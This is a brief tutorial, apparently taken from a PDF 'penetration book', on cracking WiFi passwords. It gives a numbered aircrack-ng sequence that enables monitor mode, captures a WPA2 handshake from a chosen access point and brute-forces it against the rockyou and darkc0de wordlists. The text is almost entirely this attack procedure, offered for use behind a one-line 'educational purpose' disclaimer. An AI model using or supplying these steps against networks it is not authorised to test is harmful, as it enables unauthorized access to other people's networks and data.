

Hack a **WiFi** Network

A Penetration Book by Malik

Hack a **Wifi** Network

WPA2/WPA/WEP

First of all you will need a Linux operating system & a little education about Python programming.

You can install Linux operating system on any Pc or Laptop.

Note : This tutorial is only for educational purpose. The author of this pdf is not responsible for any illegal work. During installing and setting up you can lose all of your data, Do not do if you don't know about programming.

Device:

Use **Tp-link TL-WN722N Wifi Adapter for High gain.**

Start! Open Terminal:

1. airmon-ng check kill
2. airmon-ng
3. airmon-ng start wlan0
4. airodump-ng wlan0mon
5. (control + c to stop)
6. airodump-ng wlan0mon —bssid 5C:F9:6A:CD:8A:1D -c 1 -w WPA2
7. wait for 1 minute, capture handshake
8. aircrack-ng WPA2-01.cap -w /root/rockyou.txt
/darkc0de
/Wpa list 1,2,3

darkc0de, Wpalist & rockyou.txt are the dictionaries files. You can download these from internet.
